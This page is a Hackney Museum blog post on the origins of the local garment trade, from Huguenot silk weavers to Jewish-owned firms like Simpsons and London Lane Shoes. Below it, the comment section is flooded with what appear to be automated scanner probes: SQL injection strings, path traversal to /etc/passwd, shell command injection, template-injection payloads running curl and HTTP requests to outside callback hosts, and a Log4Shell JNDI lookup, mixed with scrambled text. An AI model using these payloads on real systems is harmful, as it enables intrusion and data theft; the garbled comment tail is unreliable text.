
Workers at the Simpsons Clothing Factory on Stoke Newington Road. Image courtesy of DAKS Simpsons Ltd.
This series explores stories about some of the people behind Hackney’s buzzing garment trade which thrived during the 20th century as an epicentre of production in the UK. Looking behind the factory doors reveals stories of community and craftsmanship as well as struggle and protest. This post focuses on the origins of the garment trade in Hackney and the groups who contributed to its growth.
What is the ‘rag trade’?
The term ‘rag trade’ has, throughout history, been used for a variety of textile-related industries, often those trading in used fabrics. The phrase can refer to the old industry of recycling and wholesaling old (and sometimes disease-ridden) cloth, as well as the sale of second-hand clothing – which once belonged to the wealthy – to Victorian London’s working-class.
Perhaps more familiar to us though is another ‘rag trade’ which is also rooted in the textile industry but is more closely related to the production of new garments and accessories. This industry grew out of the older ‘rag trade’ and experienced a boom in the 20th century in the UK. Hackney was an epicentre of garment production and trade – its proximity to the City of London was useful for manufacturers and wholesalers. Workshops and factories in Hackney produced masses of articles of clothing and footwear for domestic and international markets from the 1900s to the early 1990s.
‘Small factories, crammed into basements, behind shop fronts, on one floor of a half empty warehouse, in someone’s back room… All are for clothing factories. It could be anywhere in Hackney, for clothing is the most important manufacturing industry, employing 12,000 people locally.‘
Excerpt from ‘Inside Out: Women in the Rag Trade’, Hackney Communist Party Women’s Group, 1980. Courtesy of Hackney Archives.

Sewing machine used for leather work at Albert Morris Tattam Shoe Repairs in Stoke Newington. Hackney Museum 1991.1005
From Europe to East London
During the 20th century, Hackney’s garment industry was a lucrative business with manufacturing and trading sites scattered across the borough. By 1938, there were 2000 factories in Hackney and around half of these operated within the garment trade. Hackney’s ‘rag trade’ roots can be traced back to turbulent politics and religious persecution across Europe. This triggered the migration of different ethnic groups to Hackney and the East End.
In the 18th century, large communities of French Protestants – called Huguenots – arrived in Spitalfields, fleeing persecution and bringing with them expert craftsmanship in silk weaving. They influenced both the aesthetic taste of the English upper-class as well as the economic activity of East London. French silks became popular amongst the wealthy and Spitalfields’ new hub of Huguenot weavers enabled the East End to compete with manufacturers of traditional British fabrics like wool or cotton.
Jewish migration and flourishing business
The late 19th and early 20th century saw the arrival of many Jewish communities to Hackney as the Russian Empire’s pogroms swept over Eastern Europe. Russian authorities and violent mobs attacked, murdered and expelled Jewish families from their home countries. Some Jewish families had intended to migrate to America, but settled in Hackney and surrounding areas due to cheap rent and available work in the ‘rag trade’. Lots of these individuals were already highly skilled in making clothes and shoes.
Jewish-owned businesses like cobblers and tailors thrived in Hackney throughout the 20th century and developed into large scale manufacturers. Simpsons was a menswear clothing manufacturer who, by 1933, employed around 3,000 people in Hackney and had built a vast factory on Stoke Newington Road.

The Simpsons Clothing Factory on Stoke Newington Road. Image courtesy of DAKS Simpsons Ltd.
Workers at the Simpsons Clothing Factory on Stoke Newington Road. Image courtesy of DAKS Simpsons Ltd.

“I worked in the cutting room…I would have thought there would have been a hundred or more people working on that floor. There was a fairly happy atmosphere I think. It had the cutting room on the top floor and then the machines and others down below.“
Mick Goldstein, cutter at Simpsons during the 1930s, Hackney Museum, 2019.1
Another successful manufacturing business in Hackney was London Lane Shoes Ltd. They opened in Dalston in the 1960s and were run by the descendants of Jewish immigrants who had fled persecution in Russia in 1895 and opened a cobblers in Whitechapel. Their family business grew and operated in Hackney until the 1980s. The company worked with different brands who wanted to produce women’s footwear. First a shoe is sampled, which means creating one unit to test the design with a focus on features like colours, materials and fit. Once the sample is finalised, the shoes are produced on a larger scale – often to tight deadlines – then delivered to shops around London ready to be sold to customers.

Wooden shoe last from London Lane Shoes Ltd., c.1980s. Hackney Museum 1987.232

Photograph of heeled shoes produced by London Lanes Shoes Ltd., c.1980s. Hackney Museum 1987.262
Read the next blog post in this series and find out about trade unions, industrial action and the power of song in Hackney’s garment trade in the 1920s.
Content for this blog series originally featured in the exhibition ‘Faces Behind the Fashions: Hackney and the Garment Trade‘ at Hackney Museum 15 September 2022 – 20 February 2023.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.” AND “1”=”1
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.’ AND ‘1’=’1′ —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
http://szp.prbly.win/s/rfi
dsd1jxzjhopnsrd032zqfjelzyhw8mtxb.szp.prbly.win
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
‘case when cast(pg_sleep(10) as varchar) > ” then 0 else 1 end —
https://5985419799657269646.probe.ly
This is a beautiful test comment. Also it’s very polite. Thank you for reading. UNION ALL select NULL —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
9R08el1y
‘”;'()(NULL
This is a beautiful test comment. Also it’s very polite. Thank you for reading.’ OR ‘1’=’1′ —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.%” —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.”) UNION ALL select NULL —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
c:/Windows/system.ini
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.`sleep 10`
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
sleep(bindec(decbin(10)))
?>
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
(function(){var w=new Date().getTime()+10000;while(new Date().getTime()<w)true;}())
“+global.process.mainModule.require(‘child_process’).execSync(‘curl http://dsd1jxzjhopnsrd032zqwz5‘ + ‘taxfwm6zqw.szp.prbly.win’).toString()+”
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
(__import__(“time”).sleep(10))
“+(__import__(“time”).sleep(10))+”
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
${ ex(“sleep 10”) }
This is a beautiful test comment. Also it’s very polite. Thank you for reading. / (SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.2’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.3’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.4’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.5’) from dual)
c:/Windows/system.ini
/../../../../../../../../../../../../../../../../etc/passwd
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
(function(){var w=new Date().getTime()+10000;while(new Date().getTime()<w)true;}())
“+global.process.mainModule.require(‘http’).get(‘http://ctqays2gu6ptlovqnrwtzyu’+’hteaule6y9.szp.prbly.win’)+”
This is a beautiful test comment. Also it’s very polite. Thank you for reading. / sleep(10)
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading. WAITFOR DELAY ‘0:0:10’ —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.) WAITFOR DELAY ‘0:0:10’ (
4773522998783200557.probe.ly
URL=’http://4773522998783200557.probe.ly’
pRrLlYGaheqBtgdPJCqdHsS
9R08el1y
ev taouuie mt. r i
1}”}’}zj${4696*8884}zj
This is a beautiful test comment. Also it’s very polite. Thank you for reading.9R08el1y
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
‘”;'()(NULL
This is a beautiful test comment. Also it’s very polite. Thank you for reading.%
This is a beautiful test comment. Also it’s very polite. Thank you for reading.’ OR ‘1’=’1′ —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.” OR “1”=”1
This is a beautiful test comment. Also it’s very polite. Thank you for reading.’ UNION ALL select NULL —
This is a beautiful test comment. Also it’s very polite. Thank you for reading. ASC —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
/../../../../../../../../../../../../../../../../Windows/system.ini
file:///c:/Windows/system.ini
etc/passwd
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
http://szp.prbly.win/s/rfi
http://r1elskwr0hxtdpp8gv1fgwqj5bfgnszo4.szp.prbly.win
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
echo VCAmdxoe51
This is a beautiful test comment. Also it’s very polite. Thank you for reading.’|echo BY5SEhsKtT #
This is a beautiful test comment. Also it’s very polite. Thank you for reading.’|echo aSMx3ofwuN #
This is a beautiful test comment. Also it’s very polite. Thank you for reading.$(sleep 10)
ping -n 11 127.0.0.1
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
sleep(bindec(decbin(10)))
?>
+sleep(bindec(decbin(10)))
“.sleep(bindec(decbin(10))).”
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
global.process.mainModule.require(‘http’).get(‘http://r1elskwr0hxtdpp8gv1fhib’+’8ajjhlu9wz.szp.prbly.win’)
‘+global.process.mainModule.require(‘http’).get(‘http://r1elskwr0hxtdpp8gv1fwpq’+’uj3rh4pali.szp.prbly.win’)+’
“+global.process.mainModule.require(‘http’).get(‘http://r1elskwr0hxtdpp8gv1fomy’+’xqov1zns6n.szp.prbly.win’)+”
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
(__import__(“time”).sleep(10))
‘+(__import__(“urllib”).request.urlopen(“http://r1elskwr0hxtdpp8gv1fsjo”+”i6tvca4ssn.szp.prbly.win”))+’
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
${ ex(“sleep 10”) }
{{= global.process.mainModule.require(‘child_process’).execSync(“sleep 10”).toString() }}
{{“”.__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get(“__builtins__”).get(“__import__”)(“subprocess”).check_output(“sleep 10”)}}
{{__import__(“subprocess”).check_output(“sleep 10”, shell=True)}}
{system(“sleep 10”)}
[[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec(“curl http://r1elskwr0hxtdpp8gv1fdj4“+”nepspyjbbm.szp.prbly.win”).waitFor()}]]
{{“”.__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get(“__builtins__”).get(“__import__”)(“subprocess”).check_output(“curl http://r1elskwr0hxtdpp8gv1flax“+”lkl2s1dwau.szp.prbly.win”)}}
{{__import__(“subprocess”).check_output(“curl http://r1elskwr0hxtdpp8gv1fhb8“+”2loc48igmi.szp.prbly.win”, shell=True)}}
{system(“curl http://r1elskwr0hxtdpp8gv1fds4{“”}4byg10ueyr.szp.prbly.win”)}
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
${jndi:dns://${sys:java.version}.r1elskwr0hxtdpp8gv1ffqw${lower:q}6rw4n1jzo.szp.prbly.win/abc}
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.’ / sleep(10) / ‘
This is a beautiful test comment. Also it’s very polite. Thank you for reading.” and 0 in (select sleep(10) ) —
This is a beautiful test comment. Also it’s very polite. Thank you for reading. or 0 in (select sleep(10) ) —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
(SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.2’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.3’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.4’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.5’) from dual)
This is a beautiful test comment. Also it’s very polite. Thank you for reading. and exists (SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.2’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.3’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.4’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.5’) from dual) —
This is a beautiful test comment. Also it’s very polite. Thank you for reading. or exists (SELECT UTL_INADDR.get_host_name(‘10.0.0.1’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.2’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.3’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.4’) from dual union SELECT UTL_INADDR.get_host_name(‘10.0.0.5’) from dual) —
case when cast(pg_sleep(10) as varchar) > ” then 0 else 1 end
“case when cast(pg_sleep(10) as varchar) > ” then 0 else 1 end —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.’ where 0 in (select case when cast(pg_sleep(10) as varchar) > ” then 0 else 1 end ) —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
case (2-8)-8-(993539776) when not null then 1 else 1 end
case randomblob(997511856) when not null then 1 else 1 end
case randomblob(996250937) when not null then 1 else 1 end
case (0-0)-1+(996318549) when not null then 1 else 1 end
‘ | case randomblob(998561580) when not null then “” else “” end | ‘
‘ | case randomblob(993149176) when not null then “” else “” end | ‘
‘ | case (3+6)+7+(996395637) when not null then “” else “” end | ‘
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.’ WAITFOR DELAY ‘0:0:10’ —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.)) ” WAITFOR DELAY ‘0:0:10’ —
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
6242244729421805953.probe.ly
\\6242244729421805953.probe.ly
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
pRrLlYUHoLBU08qI9pzY0sS
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
PEbLu8rt
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
rsttepunses e.hslac
halt.buTmtotryAs n
1 ” ‘ zj 7615*2673 zj
1}}”}}’}}zj{{=5874*4217}}zj
1}”}’}zj{@9379*1362}zj
1}]]”}]]’}]]zj[[${5801*2587}]]zj
1}}”}}’}}zj{{4552*6905}}zj
1}”}’}zj{{print “1236” “9007”}}zj
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.
This is a beautiful test comment. Also it’s very polite. Thank you for reading.